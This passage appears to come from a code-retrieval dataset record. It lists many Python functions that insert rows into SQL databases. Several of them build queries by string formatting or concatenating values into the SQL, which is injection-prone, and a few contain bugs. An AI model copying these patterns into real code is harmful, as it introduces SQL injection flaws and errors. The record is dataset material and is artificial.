tablename, seqname)\n\n if isinstance(sql_query, tuple):\n # for some databases, a separate query has to be made to find \n # the id of the inserted row.\n q1, q2 = sql_query\n self._db_execute(db_cursor, q1)\n self._db_execute(db_cursor, q2)\n else:\n self._db_execute(db_cursor, sql_query)\n\n try: \n out = db_cursor.fetchone()[0]\n out = range(out-len(values)+1, out+1) \n except Exception: \n out = None\n\n if not self.ctx.transactions: \n self.ctx.commit()\n return out","def DBExecute( DB, sql, *args ):\n DB.execute( sql, args )\n DB.commit()","def insert(self, tablename, seqname=None, _test=False, **values):\n def q(x): return \"(\" + x + \")\"\n \n if values:\n _keys = SQLQuery.join(values.keys(), ', ')\n _values = SQLQuery.join([sqlparam(v) for v in values.values()], ', ')\n sql_query = \"INSERT INTO %s \" % tablename + q(_keys) + ' VALUES ' + q(_values)\n else:\n sql_query = SQLQuery(self._get_insert_default_values_query(tablename))\n\n if _test: return sql_query\n \n db_cursor = self._db_cursor()\n if seqname is not False: \n sql_query = self._process_insert_query(sql_query, tablename, seqname)\n\n if isinstance(sql_query, tuple):\n # for some databases, a separate query has to be made to find \n # the id of the inserted row.\n q1, q2 = sql_query\n self._db_execute(db_cursor, q1)\n self._db_execute(db_cursor, q2)\n else:\n self._db_execute(db_cursor, sql_query)\n\n try: \n out = db_cursor.fetchone()[0]\n except Exception: \n out = None\n \n if not self.ctx.transactions: \n self.ctx.commit()\n return out","def form_insert_query(self, table_name, input_data, table_fields_names=None, table_fields_types=None):\n\n\t\t# creating first part of the query -> section with columns' names\n\t\tquery_table_structure = self.build_query_part(table_fields_names, table_fields_types, query_part=1)\n\n\t\t# creating second part of the query -> section with values\n\t\tquery_values = self.build_query_part(input_data, table_fields_types, query_part=2)\n\t\t\n\t\t# form query\n \t\tquery = 'INSERT INTO ' + table_name + ' ' + query_table_structure + ' VALUES ' + query_values\n\n\t\treturn query","def run_insert_example():\n table = \"actors\"\n insert_values = {\n 'id': 3,\n 'name': \"Matt\",\n 'last_name': \"Smith\",\n 'country': \"England\"}\n print querify.insert_from_dict(table, insert_values)\n\n insert_col_list = [\"id\", \"name\", \"last_name\", \"country\"]\n insert_val_list = [\n [1, \"Chris\", \"Eccleston\", \"England\"],\n [2, \"David\", \"Tennant\", \"Scotland\"],\n [3, \"Matt\", \"Smith\", \"England\"]]\n print querify.insert_from_list(table, insert_col_list, insert_val_list)","def dbinsert(db,table,**assignments):\n cols = \"\"\n vals = \"\"\n values = []\n for k,v in assignments.items():\n if cols!=\"\": cols += \",\"\n cols += k\n if vals!=\"\": vals += \",\"\n vals += \"?\"\n values.append(v)\n cmd = \"insert or replace into \"+table+\" ( \"+cols+\" ) values ( \"+vals+\" ) \"\n params = list(values)\n # print cmd,params\n cur = db.cursor()\n cur.execute(cmd,params)\n cur.close()\n del cur","def insert_into_reading():\n insert_stmt = \"('%s', '%s', '{}')\"\n k = 0 \n for i in range(100): \n stmt = \"INSERT INTO readings(asset_code, read_key, reading) VALUES\" \n for j in range(10): \n if j == 9: \n stmt = stmt + \" \" + insert_stmt % (str(k), uuid.uuid4()) + \";\" \n else: \n stmt = stmt + \" \" + insert_stmt % (str(k), uuid.uuid4()) + \", \"\n k =+ 1\n execute_command(stmt)","def query(conn, sql_stmt, table_data):\n cursor = conn.cursor()\n cursor.execute(sql_stmt, table_data)\n conn.commit()","def insert_row(self, tablename, fields):\n insert_params = \"(\" + \",\".join(['?' for x in fields]) + \")\"\n self.cursor.execute(\"insert into \" + tablename + \" values \" +\n insert_params, fields)","def Insert(self):\n sql = 'INSERT INTO %s ( %s ) VALUES ( %s )' % (\n self.table_name,\n ', '.join(self.values),\n ', '.join(['?' for _ in self.values])\n )\n return Database().Execute(sql, tuple(self.values.values()))","def insert_data(self, table_name, data):\n for data_point in data:\n query = \"INSERT INTO %s(%s) VALUES (%s)\"\n\n fields = \", \".join(data_point.keys())\n values = \", \".join([self.pack_data(value) for value in data_point.values()])\n self.cursor.execute(query % (table_name, fields, values))\n self.db_connection.commit()","def insert_into_table(self, schema, table, fields, values):\n sql = f'set role {self.write_role}; ' \\\n f'INSERT INTO {schema}.{table} ( {\", \".join(fields)} ) VALUES ( {\", \".join(values)} );'\n return sql","def insertQuery(self, master, row_num):\n pass","def create_tables(cur, conn):\n for query in create_table_queries:\n try:\n cur.execute(query)\n conn.commit()\n except Exception as e:\n print(e)","def execute_query(self, query, type_of_query, table):\n try:\n self.db_connection()\n if self.connection is not None:\n with self.connection.cursor() as cursor:\n cursor.execute(query)\n if type_of_query == \"SELECT\":\n res = cursor.fetchall() # Saving a list of dictionaries where each dictionary is a record\n headers = {element: element for element in {field[0] for field in cursor.description}} # tabulate requires a dict (each header has key and value)\n print(tabulate(res, headers=headers, tablefmt='grid')) # print table with nice style\n elif type_of_query == \"INSERT\": # INSERT query, commit is required\n self.connection.commit()\n except IntegrityError:\n print(\"A new record couldn't be added\")\n return False\n finally:\n self.close_connection() # Closing the opened connection\n return True","def insert_into_db(dataframe, query):\n for col, row in dataframe.iterrows():\n cursor.execute(query.format(tuple(row)))\n print (tuple(row))\n connection.commit()","def insert(cls, values):\n result = yield InsertQuery(cls, values).execute()\n returnValue(result)","async def insert(self, table_name: str, values: tuple, columns=None):\n query = f\"\"\"INSERT INTO {table_name} {'(' + ', '.join(columns) + ')' if columns else ''} VALUES {values}\"\"\"\n await LemkPgUtils.execute_query(self.dsn, query)\n return True","def insert(sql, clue):\n\t# clue is [game, airdate, round, category, value, clue, answer]\n\t# note that at this point, clue[4] is False if round is 3\n\tif \"\\\\\\'\" in clue[6]:\n\t\tclue[6] = clue[6].replace(\"\\\\\\'\", \"'\")\n\tif \"\\\\\\\"\" in clue[6]:\n\t\tclue[6] = clue[6].replace(\"\\\\\\\"\", \"\\\"\")\n\tif not sql:\n\t\tprint clue\n\t\treturn\n\tsql.execute(\"INSERT OR IGNORE INTO airdates VALUES(?, ?);\", (clue[0], clue[1], ))\n\tsql.execute(\"INSERT OR IGNORE INTO categories(category) VALUES(?);\", (clue[3], ))\n\tcategory_id = sql.execute(\"SELECT id FROM categories WHERE category = ?;\", (clue[3], )).fetchone()[0]\n\tclue_id = sql.execute(\"INSERT INTO documents(clue, answer) VALUES(?, ?);\", (clue[5], clue[6], )).lastrowid\n\tsql.execute(\"INSERT INTO clues(game, round, value) VALUES(?, ?, ?);\", (clue[0], clue[2], clue[4], ))\n\tsql.execute(\"INSERT INTO classifications VALUES(?, ?)\", (clue_id, category_id, ))","def load_staging_tables(cur, conn):\n for query in copy_table_queries:\n try:\n cur.execute(query)\n conn.commit()\n \n except psycopg2.Error as e:\n print(e)","def insert_to_table(table_name, column_names, values):\n cols = ', '.join(column_names)\n query = f\"INSERT INTO {table_name} ({cols}) VALUES %s\"\n conn = get_connection()\n with conn.cursor() as cur:\n execute_values(cur, query, values)\n conn.commit()\n conn.close()","def insert(self):\n sql = u'INSERT INTO %s' % self.table()\n keys = []\n values = []\n format_values = []\n for field in self.fields():\n attr = object.__getattribute__(self, field)\n if attr.auto_value:\n continue\n keys.append(field)\n format_values.append(attr.format)\n values.append(attr._value)\n keys_str = u'( %s )' % u', '.join(keys)\n values_str = u'VALUES( %s )' % u', '.join(format_values)\n sql = '%s %s %s;' % (sql, keys_str, values_str)\n connection.execute(sql, values)\n primary_k = self.__class__.get_primary()\n primary = object.__getattribute__(self, primary_k)\n primary.value = connection.connection.insert_id()","def insert_data(data):\n\n try:\n sql = \"INSERT INTO movies VALUES(%s, %s, %s)\"\n conn = psycopg2.connect(dsn=DB_DSN)\n cur = conn.cursor()\n cur.executemany(sql, data)\n conn.commit()\n except psycopg2.Error as e:\n print e.message\n else:\n cur.close()\n conn.close()","def insert_many(self, table, columns, values, limit=MAX_ROWS_PER_QUERY, execute=True):\n # Make values a list of lists if it is a flat list\n if not isinstance(values[0], (list, set, tuple)):\n values = []\n for v in values:\n if v is not None and len(v) > 0:\n values.append([v])\n else:\n values.append([None])\n\n # Concatenate statement\n cols, vals = get_col_val_str(columns)\n statement = 'INSERT INTO {0} ({1}) VALUES ({2})'.format(wrap(table), cols, vals)\n\n if execute and len(values) > limit:\n while len(values) > 0:\n vals = [values.pop(0) for i in range(0, min(limit, len(values)))]\n self._cursor.executemany(statement, vals)\n self._commit()\n\n elif execute:\n # Execute statement\n self._cursor.executemany(statement, values)\n self._commit()\n self._printer('\\tMySQL rows (' + str(len(values)) + ') successfully INSERTED')\n\n # Only return statement\n else:\n return statement","def insertQuery1(self,nome,descr,censimento):\r\n\t\tq=Query(nome,descr,censimento)\r\n\t\tself.session.add(q)\r\n\t\tself.session.commit()","def send_sql_query2(self, query):\n # TODO: MAKE SQL SELECT and SQL INSERT modules\n self.cursor.execute(query)\n # self.cnx.commit()","def insert(self, table, columns, values, execute=True):\n # TODO: Cant accept lists?\n # Concatenate statement\n cols, vals = get_col_val_str(columns)\n statement = \"INSERT INTO {0} ({1}) VALUES ({2})\".format(wrap(table), cols, vals)\n\n # Execute statement\n if execute:\n self._cursor.execute(statement, values)\n self._commit()\n self._printer('\\tMySQL row successfully inserted into {0}'.format(table))\n\n # Only return statement\n else:\n return statement","def insert_to_table(self, tableName, dataRow, colNames):\n queryString = f\"INSERT INTO {tableName} VALUES \"\n # building the Values list\n valueString = \"\"\n # looping \n for value in dataRow:","def insert_ranks(ranks):\n sql = \"\"\"INSERT INTO rank_history_appannie(\n platform ,\n country_name ,\n app_id ,\n game_name ,\n publisher_id ,\n publisher_name,\n rank_date ,\n rank_type ,\n rank_num ,\n casino_game ) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n \"\"\"\n conn = None\n try:\n # params = config()\n # conn = psycopg2.connect(**params)\n conn = psycopg2.connect(host=\"localhost\",database=\"scala_db\", user=\"scala_user\")\n cur = conn.cursor() \n cur.executemany(sql, ranks) \n conn.commit()\n cur.close() \n except (Exception, psycopg2.DatabaseError) as error: \n print(error) \n finally:\n if conn is not None:\n conn.close()","def post(create_query, insert_query, conn):\n\n try:\n with conn.cursor() as cur:\n cur.execute(create_query)\n cur.execute(insert_query)\n conn.commit()\n except pymysql.IntegrityError as e:\n print(e)\n return format_response(400, {'error': repr(e)})\n except (pymysql.MySQLError, Exception) as e:\n print(e)\n return format_response(500)\n\n return format_response(200)","def insert_to_db(self, query):\n self.cursor.execute(query)\n self.conn.commit()\n return self","def insert_into_table(cursor, t_name, insert, \n cnx, autocommit=True): \n try:\n cursor.execute(insert)\n if autocommit:\n if not cnx.autocommit:\n cnx.commit()\n result = cursor\n print(f\"Number of rows affected by statement '{result.statement}':\"\n f\"{result.rowcount}.\")\n print(\"Warnings: \" + str(result.fetchwarnings()) + \".\")\n except mysql.connector.Error as err:\n print(err.msg + \".\")\n else:\n print(\"Done Inserting.\")","async def insert(self, args: Dict[str, Any]):\n keys = \", \".join(args.keys())\n values = \", \".join([f\"${i + 1}\" for i in range(len(args))])\n\n conn: Connection\n async with self.db_pool.acquire() as conn:\n await conn.execute(\n f\"INSERT INTO {self.table_name} \"\n f\"({keys}) VALUES ({values})\",\n *args.values(),\n )","def _insert_json_to_sql(self, conn, matches: List[Dict], verbose: bool) -> None:\n cur = conn.cursor()\n timepoint_1 = time.time()\n args = self._extract_args(matches)\n\n if verbose:\n # find the number of records before insertion\n cur2 = conn.cursor()\n cur2.execute('SELECT COUNT(*) FROM {}'.format(self.table))\n records_sql_before = cur2.fetchall()[0][0] # counts unique entries in the table before the insert statement\n cur2.close()\n\n # part of the query that tells to do nothing on duplicate keys if such entry already exists,\n # depending on the number of primary keys\n if len(self.pk_sql) == 0:\n if_duplicates_do_nothing = ''\n else:\n if_duplicates_do_nothing = ' ON DUPLICATE KEY UPDATE ' + \\\n ', '.join([f'{key} = {key}' for key in self.pk_sql])\n\n query = f\"\"\"\n INSERT INTO {self.table} VALUES ({', '.join('?' * self._fields_num())})\n {if_duplicates_do_nothing}\n \"\"\".strip()\n timepoint_2 = time.time()\n print(f'Up until execution the current iteration took {round(timepoint_2 - timepoint_1, 2)} s.')\n cur.executemany(query, args)\n timepoint_3 = time.time()\n print(f'Program took {round(timepoint_3 - timepoint_2, 2)} s. to execute')\n conn.commit()\n timepoint_4 = time.time()\n print(f'Program took {round(timepoint_4 - timepoint_3, 2)} s. to commit changes')\n\n if verbose:\n print(f'Insertion to {self.table} complete and took {round(time.time() - timepoint_1, 2)} s.')\n\n cur3 = conn.cursor()\n cur3.execute('SELECT COUNT(*) FROM {}'.format(self.table))\n records_sql_after = cur3.fetchall()[0][0] # counts unique entries in the table after the insert statement\n args_python = len(args) # counts unique entries in JSON\n if args_python == (records_sql_after - records_sql_before):\n print(f'Number of unique records in table {self.table} is accurate and equals {records_sql_after} '\n f'after insert')\n else:\n print(f'The table {self.table} increased by {(records_sql_after - records_sql_before)} records')","def execute_sql(sql_stmt, host_in='client'):\n #db = create_engine(host_in,'')\n #sql = sqltext(sql_stmt) \n #return db.execute(sql)\n with open('temp.sql','w') as sql:\n sql.write(sql_stmt)\n\n proc=sp.Popen(\"mysql < temp.sql\",stdout=sp.PIPE, stderr=sp.PIPE, shell=True)\n out,err = proc.communicate()\n sp.Popen(\"rm temp.sql\",stdout=sp.PIPE, stderr=sp.PIPE, shell=True)\n return out.strip(),err.strip()","def runSql(self, sql):\r\n cursor = self.c.cursor()\r\n cursor.execute(sql)\r\n self.c.commit()\r\n cursor.close()\r\n return True","def execute(self, sql):\n\n res = self.cur.execute(sql)\n self.cxn.commit()\n\n return res","def test_insert(self):\n self.assertEqual(['INSERT', 'INTO', 'test', '(a,b) VALUES (1,2)'],\n grammar._INSERT_EXPR.parseString(\"INSERT INTO test (a,b) VALUES (1,2);\").asList())"],"string":"[\n \"def insert_into_tables(cur, conn):\\n for query in insert_table_queries:\\n cur.execute(query)\\n conn.commit()\",\n \"def _query_insert(self, sql, data=None):\\n\\n conn = psycopg2.connect(self.connect_args)\\n cur = conn.cursor()\\n cur.execute(sql, data)\\n conn.commit()\\n cur.close()\\n conn.close()\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n try:\\n cur.execute(query)\\n conn.commit()\\n except Exception as e:\\n print(e)\",\n \"def insert_into_table(self, conn, insert_into_table_sql):\\n try:\\n c = conn.cursor()\\n c.execute(insert_into_table_sql)\\n conn.commit()\\n\\n except Error as e:\\n print(e)\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n print('insert', query)\\n cur.execute(query)\\n conn.commit()\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n try:\\n cur.execute(query)\\n conn.commit()\\n \\n except psycopg2.Error as e:\\n print(e)\",\n \"def insert_sql(command):\\n logging.debug(\\\"Running insert sql \\\"+str(command))\\n try:\\n## host, userid, password, database instance\\n con = mdb.connect(serverip, username, userpass, schema);\\n cursor = con.cursor()\\n \\n sql = command\\n cursor.execute(sql)\\n sql = \\\" commit;\\\"\\n cursor.execute(sql)\\n \\n con.close()\\n\\n except mdb.Error, e:\\n logger.error(e)\",\n \"def insert_tables(cur, conn):\\n start = time.time()\\n print(\\\"***************** Loading data into Analytics tables ***********************\\\")\\n for query in insert_table_queries:\\n try:\\n cur.execute(query)\\n conn.commit()\\n except psycopg2.Error as e:\\n print(f\\\"Can't execute query : {query}\\\")\\n print(e)\\n print(\\\"***************** Done ***********************\\\")\\n print(f\\\"***************** Script ran in {int(time.time() - start)} seconds ***********************\\\")\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n cur.execute(query)\\n conn.commit()\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n cur.execute(query)\\n conn.commit()\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n cur.execute(query)\\n conn.commit()\",\n \"def insert_tables(cur, conn):\\n for query in insert_table_queries:\\n cur.execute(query)\\n conn.commit()\",\n \"def insert(self, sql):\\n try:\\n # Execute the SQL command\\n self.cursor.execute(sql)\\n # Commit your changes in the database\\n self.db.commit()\\n except:\\n # Rollback in case there is any error\\n self.db.rollback()\",\n \"def insert_tables(cur, conn):\\n for idx, query in enumerate(insert_table_queries):\\n print('Executing INSERT query {}/{}...'.format(idx+1, len(insert_table_queries)), end='', flush=True)\\n t0 = time()\\n cur.execute(query)\\n conn.commit()\\n load_time = time() - t0\\n print('done! Took: {0:.2f} sec'.format(load_time))\",\n \"def insert(self,table,values):\\n self.connect.execute(self.insert_disc[table],values)\\n self.connect.commit()\",\n \"def insert_to_db(self, query):\\n try:\\n q = self.connection.execute(query)\\n except Exception:\\n self.print_std_error()\",\n \"def insert_records(self, insert_query, insert_query_columns, wiki_data, table_name):\\n print(\\\"Inserting {} rows into {}\\\".format(len(wiki_data), table_name))\\n for index, item in enumerate(wiki_data):\\n values_to_insert = [item[column]['value'] for column in insert_query_columns]\\n try:\\n self.cur.execute(insert_query, values_to_insert)\\n except ValueError as ve:\\n print(\\\"Could not execute query : {} with values\\\".format(insert_query, values_to_insert))\\n raise ve\\n\\n if index % 1000 == 0:\\n print(\\\"Inserted {} rows\\\".format(index))\\n print(\\\"Inserted {} rows\\\".format(len(wiki_data)))\\n print(\\\"Finished inserting {}\\\".format(table_name))\",\n \"def insert_execute(self, insert_data):\\n self.execute(query=self.db_insert_schema.format(self.table_name), data=insert_data)\",\n \"def insert_tables(cur, conn):\\n logger.debug(\\\"Insert tables ...\\\")\\n for query in insert_table_queries:\\n logger.debug(f'RUN query: {query}')\\n cur.execute(query)\\n conn.commit()\\n\\n print('All files INSERTED OK.')\",\n \"def insert_many_execute(self) -> None:\\n self.connection.isolation_level = None\\n self.cursor.execute('BEGIN TRANSACTION')\\n for i in self.__sql_buffer.split(';'):\\n self.cursor.execute(i)\\n self.__sql_buffer = \\\"\\\"\\n self.cursor.execute('COMMIT')\",\n \"def executeQuery(self, segments=None,):\\n if not segments: segments = self.segments\\n query =''.join(['INSERT INTO ', self.tableName, ' (',\\n ', '.join(self.firstLine), ') VALUES ',\\n ', '.join([segment for segment in segments]), ';'])\\n try:\\n self.cursorExecute(query)\\n except:\\n print 'Bulk query rejected, splitting into smaller queries.'\\n self.handleSQLRejection(0, len(self.segments))\",\n \"def post_sql_data(query, *args):\\n\\n sql = query\\n values = (args)\\n\\n try:\\n assert sql.count('%s') == len(args)\\n conn = connect()\\n cursor = conn.cursor()\\n cursor.execute(sql, values)\\n conn.commit()\\n cursor.close()\\n conn.close()\\n print(\\\"SUCCESS: post_sql_data\\\")\\n\\n except AssertionError:\\n print(\\\"ERROR: post_sql_data(), wrong number of arguments\\\")\",\n \"def insert(conn, table_info, table_data):\\n\\n sql = ''' INSERT INTO ''' + table_info \\n + ''' VALUES(''' + \\\"?,\\\" * (len(table_data)-1) + \\\"?)\\\"\\n cursor = conn.cursor()\\n cursor.execute(sql, table_data)\\n conn.commit()\",\n \"def execute_insert(self,insert):\\n try:\\n self.cursor.execute(insert)\\n self.connection.commit()\\n except Exception as error:\\n self.connection.rollback()\\n raise error\",\n \"def send_insert(self, query):\\n # TODO: Add exception handling from bad queries\\n\\n # More regex to make sure our table names don't have colons\\n insert_pattern = r\\\"INSERT INTO ([\\\\w_:]+)\\\"\\n match = re.search(insert_pattern, query, re.IGNORECASE)\\n table_name = match.group(1)\\n if \\\":\\\" in table_name:\\n query = self.clean_table_name(query, table_name)\\n self.send_sql_query(query)\",\n \"def query(self, *sql):\\n self.cursor.execute(*sql)\\n self.conn.commit()\",\n \"def test_insert(self):\\n query = \\\"insert into cds values(%s,%s,%s,%s)\\\"\\n values = (109876,\\\"cinderella\\\",\\\"big 5\\\",5)\\n self.a.insert(query,values)\\n query1 = \\\"select * from cds where id=109876\\\"\",\n \"def insert_(statement: str, db_conf) -> []:\\n try:\\n result = db_conf.execute(statement)\\n if result:\\n return result\\n except psycopg2.IntegrityError:\\n pass\\n return []\",\n \"def transactionInsert(self, t_name, fields, field_values): \\n query = 'INSERT INTO {0} ({1}) VALUES ({2});'\\n field_list_string = ','.join(fields)\\n query_parameters = ','.join(['?'] * len(fields))\\n query = query.format(t_name, field_list_string, query_parameters)\\n try:\\n self.cursor.execute(query, tuple(field_values))\\n except Exception as e:\\n print(\\\"Error inserting with query '{}'\\\".format(query))\\n print(\\\"\\\\tWith columns {}\\\".format(fields))\\n print(\\\"\\\\tWith values {}\\\".format(field_values))\\n print(\\\"\\\\tRollback will occur.\\\")\\n self.connection.rollback()\",\n \"def _insert_sql(self, table, insert_values):\\n if isinstance(insert_values, dict):\\n keys = []\\n values = []\\n for k, v in insert_values.items():\\n keys.append(k)\\n if v is None:\\n values.append('')\\n elif isinstance(v, str):\\n v = \\\"'\\\" + str(v).replace(\\\"'\\\", \\\"''\\\") + \\\"'\\\"\\n values.append(v)\\n elif isinstance(v, datetime.datetime):\\n v = \\\"'\\\" + str(v) + \\\"'\\\"\\n values.append(v)\\n else:\\n values.append(str(v))\\n keys = \\\",\\\".join(keys)\\n values = \\\",\\\".join(values)\\n sql = \\\"INSERT INTO %s (%s) VALUES (%s)\\\" % (table, keys, values)\\n return sql\\n elif isinstance(insert_values, (tuple, list)):\\n values = []\\n for v in insert_values:\\n if v is None:\\n values.append('')\\n elif isinstance(v, str):\\n v = \\\"'\\\" + str(v).replace(\\\"'\\\", \\\"''\\\") + \\\"'\\\"\\n values.append(v)\\n elif isinstance(v, datetime.datetime):\\n v = \\\"'\\\" + str(v) + \\\"'\\\"\\n values.append(v)\\n else:\\n values.append(str(v))\\n values = \\\",\\\".join(values)\\n sql = \\\"INSERT INTO %s VALUES (%s)\\\" % (table, values)\\n return sql\\n else:\\n raise TypeError( # pragma: no cover\\n \\\"unexpected type: \\\" + str(type(insert_values)))\",\n \"def execute(self, sql, *args, **kwgs):\\n curr = self.conn.cursor()\\n curr.execute(sql, *args, **kwgs)\\n self.conn.commit()\\n curr.close()\",\n \"def load_data(connection, insert_sql, data):\\n cur = connection.cursor()\\n for d in data:\\n cur.execute(insert_sql, d)\\n connection.commit()\",\n \"def sql_query(sql):\\n cur = c.cursor()\\n cur.execute(sql)\\n c.commit()\",\n \"def insert(self, fields, values):\\n sql = self.generate_insert_sql(fields, values)\\n self.sqlhistory.append(sql)\\n return self.sql_insert(sql)\",\n \"def input_values(curs, table_name, inputs):\\n curs.executemany(\\\"\\\"\\\"INSERT INTO {} (s, x, y)\\n VALUES (?, ?, ?);\\\"\\\"\\\".format(table_name), inputs)\",\n \"def _bulk_add_rows(self, converted) :\\n\\n insert_sql = 'INSERT INTO \\\"%s\\\" VALUES (%s)' % (self.name, ','.join(['?'] * len(self.cols)))\\n cur = self.con.cursor()\\n cur.executemany(insert_sql, converted)\",\n \"def insert_db(query, args=()):\\n db = get_db()\\n db.execute(query, args)\\n db.commit()\",\n \"def insert_data(settings_filename, query_filename, row_list):\\n conn = connect_to_db(settings_filename)\\n cursor = conn.cursor()\\n\\n query = load_query(query_filename)\\n cursor.execute(query,row_list)\\n conn.commit()\\n \\n cursor.close()\\n conn.close()\\n\\n return True\",\n \"def insert_into_postgres(schema, table, column_list_string, values):\\n conn = logic_db_connection()\\n try:\\n cur = conn.cursor()\\n insert_dml = \\\"\\\"\\\"INSERT INTO {0}.{1}\\n ({2})\\n VALUES ({3}) \\n ;\\\"\\\"\\\".format(schema, table, column_list_string, values)\\n cur.execute(insert_dml)\\n conn.commit()\\n except Exception as e:\\n #if type(e) is not type(psycopg2.IntegrityError()): # doesn't work need to use pg error code catching\\n # print(f'Unable to insert into Postgres table {table}. DML: {insert_dml} Error: {e}')\\n raise\\n finally:\\n conn.close()\\n return\",\n \"def insert_records(cursor,table_schema,table_name,column_names,records, checkCols = True):\\n # Check if each column exists and add missing ones\\n if checkCols:\\n for cn in column_names:\\n add_column_to_staging_table(cursor, table_schema, table_name, cn)\\n\\n insert_base = \\\"INSERT INTO \\\" + table_schema + \\\".\\\" + table_name + \\\" (\\\" + \\\",\\\".join(column_names) + \\\") VALUES \\\"\\n insert_values = []\\n for record in records:\\n insert_value = \\\"('\\\" + \\\"','\\\".join(str(x).replace(\\\"'\\\",\\\"''\\\") for x in record) + \\\"')\\\" \\n insert_values.append(insert_value)\\n insert_record = insert_base + \\\",\\\".join(insert_values) + \\\";\\\"\\n if records != []:\\n cursor.execute(insert_record.replace(\\\",TO,\\\",\\\",TOV,\\\"))\\n print(\\\"Inserted \\\" + str(len(records)) + \\\" records into \\\" + table_schema + \\\".\\\" + table_name)\",\n \"def insertData(self, sql: str, values: tuple) -> None:\\n try:\\n connection = self.connect()\\n cursor = connection.cursor() \\n data = cursor.execute(sql, values) \\n connection.commit() \\n except sqlite3.Error as e:\\n logging.error(f'{__class__.__name__ } Exception: {e}')\\n logging.error(f'{self.cn} usedSQL {sql}')\\n logging.error(f'{self.cn} insertedValues - {values}')\\n cursor.close()\\n finally:\\n cursor.close()\\n if connection:\\n connection.close()\",\n \"def insertmany(self, table, values):\\n col_name = self.table_cols[table][1:]\\n sql = 'INSERT INTO %s(%s) VALUES (%s)' % (table, ','.join(col_name), ','.join(['%s'] * len(values[0])))\\n Log.debug('DB -> %s' % sql)\\n self.execute(sql, values)\",\n \"def execute_sql(conn, sql):\\n try:\\n c = conn.cursor()\\n if __debug__:\\n print(\\\"Executing SQL: %s\\\" % sql)\\n c.execute(sql)\\n except Error as e:\\n print(e)\\n conn.commit()\",\n \"def insert_values(self, table, cols, vals):\\n conn = psycopg2.connect(self.name, sslmode='require')\\n c = conn.cursor()\\n c.execute(\\\"INSERT INTO {0} ({1}) VALUES ({2})\\\".format(table,','.join(str(i) for i in cols), ','.join(\\\"'\\\"+str(i)+\\\"'\\\" for i in vals)))\\n conn.commit() \\n conn.close\",\n \"def insert_db():\\n populate_tables()\",\n \"def sql_insert(self, sqlstr):\\n get_connection().insert_raw(sqlstr)\\n return 1\",\n \"def insert_data(stored_data, table_name):\\r\\n for item in stored_data:\\r\\n cursor.execute('''INSERT INTO {} VALUES(?, ?, ?, ?)'''.format(table_name), item)\",\n \"def load_into_staging_tables(cur, conn):\\n for query in copy_table_queries:\\n cur.execute(query)\\n conn.commit()\",\n \"def test_sql_insertion(self):\\n try:\\n # generate record as from kafka server\\n record_str = generate_json_message()\\n # create corresponding sql\\n consumer = Consumer()\\n sql_str = consumer.create_sql_command(record_str)\\n # print SQL\\n print(sql_str)\\n # execute in db\\n result = consumer.execute_sql(sql_str)\\n # print all from table\\n result = consumer.get_table_content()\\n for res in result:\\n print(res)\\n # XXX a better test would be to fetch the\\n # last element and compare with the generated one\\n\\n except (Exception, ValueError) as error:\\n logging.error(error)\\n assert(False)\",\n \"def insert(self, table, insert_values, cursor=None, nolog=True):\\n if isinstance(insert_values, list):\\n # we expect several insertion\\n if self._engine != \\\"SQLite\\\":\\n for d in insert_values:\\n self.insert(table, d, cursor)\\n else:\\n if isinstance(insert_values[0], dict):\\n ins = {}\\n for k in insert_values[0]:\\n ins[k] = \\\":\\\" + k\\n sql = self._insert_sql(table, ins)\\n else:\\n q = tuple('?' for _ in insert_values[0])\\n sql = self._insert_sql(table, q).replace(\\\"'\\\", \\\"\\\")\\n\\n sql = sql.replace(\\\"'\\\", \\\"\\\")\\n try:\\n if not nolog: # pragma: no cover\\n if len(sql) > 1000:\\n self.LOG(\\\"SQLs\\\", sql[:1000])\\n else:\\n self.LOG(\\\"SQLs\\\", sql)\\n self._connection.executemany(sql, insert_values)\\n return \\\"\\\"\\n except Exception as e:\\n raise ExceptionSQL( # pylint: disable=W0707\\n \\\"Unable to execute a SQL request (3) (cursor %r) (file %r)\\\" %\\n (str(cursor), self.get_file()), e, sql)\\n\\n elif isinstance(insert_values, dict):\\n sql = self._insert_sql(table, insert_values)\\n\\n try:\\n if not nolog: # pragma: no cover\\n if len(sql) > 1000:\\n self.LOG(\\\"SQLs\\\", sql[:1000])\\n else:\\n self.LOG(\\\"SQLs\\\", sql)\\n if cursor is not None:\\n cursor.execute(sql)\\n else:\\n if self._buffer_insert_s > 0:\\n self._buffer_insert.append(sql)\\n\\n if len(self._buffer_insert) >= self._buffer_insert_s:\\n for s in self._buffer_insert:\\n self._connection.execute(s)\\n del self._buffer_insert[:]\\n else:\\n self._connection.execute(sql)\\n\\n return sql\\n except Exception as e:\\n raise ExceptionSQL( # pylint: disable=W0707\\n \\\"unable to execute a SQL request (2) (cursor %r) (file %r)\\\" %\\n (str(cursor), self.get_file()), e, sql)\\n\\n else:\\n raise DBException( # pragma: no cover\\n \\\"insert: expected type (list of dict or dict) instead of %s\\\" %\\n (str(\\n type(insert_values))))\",\n \"def insert(self, tablename, columns, values):\\n\\n length = len(columns)\\n if length != 0:\\n placeholder = ['?'] * length\\n query = \\\"Insert into \\\" + tablename + \\\" (\\\" + ','.join(columns) + \\\") Values (\\\" + ','.join(\\n placeholder) + \\\")\\\"\\n else:\\n l = len(values)\\n placeholder = ['?'] * l\\n query = \\\"Insert into \\\" + tablename + \\\" Values (\\\" + ','.join(placeholder) + \\\")\\\"\\n try:\\n self.__cur.execute(query, values)\\n self.__conn.commit()\\n except Exception as e:\\n self.__conn.rollback()\\n raise e\",\n \"def insert(self, query):\\n try:\\n self.cursor.execute(query)\\n self.connection.commit()\\n\\n except MySQLdb.Error as e:\\n self.connection.rollback()\\n try:\\n print(\\\"MySQL Error {}: {}\\\".format(e.args[0], e.args[1]))\\n except IndexError:\\n print(\\\"MySQL Error: {}\\\".format(str(e)))\",\n \"def generate_insert_sql(self, fields, values):\\n return \\\"INSERT INTO %s (%s) VALUES(%s)\\\" % (self.tablename, fields,\\n ','.join([sql_quote(x) for x in values]))\",\n \"def db_insertmany(table: str, columns: list, values: list):\\n\\n db, c = start_db()\\n\\n cols = ', '.join(columns)\\n vals = ', '.join(['?' for _ in values[0]])\\n query = f'INSERT INTO {table} ({cols}) VALUES ({vals})'\\n\\n c.executemany(query, values)\\n db.commit()\\n 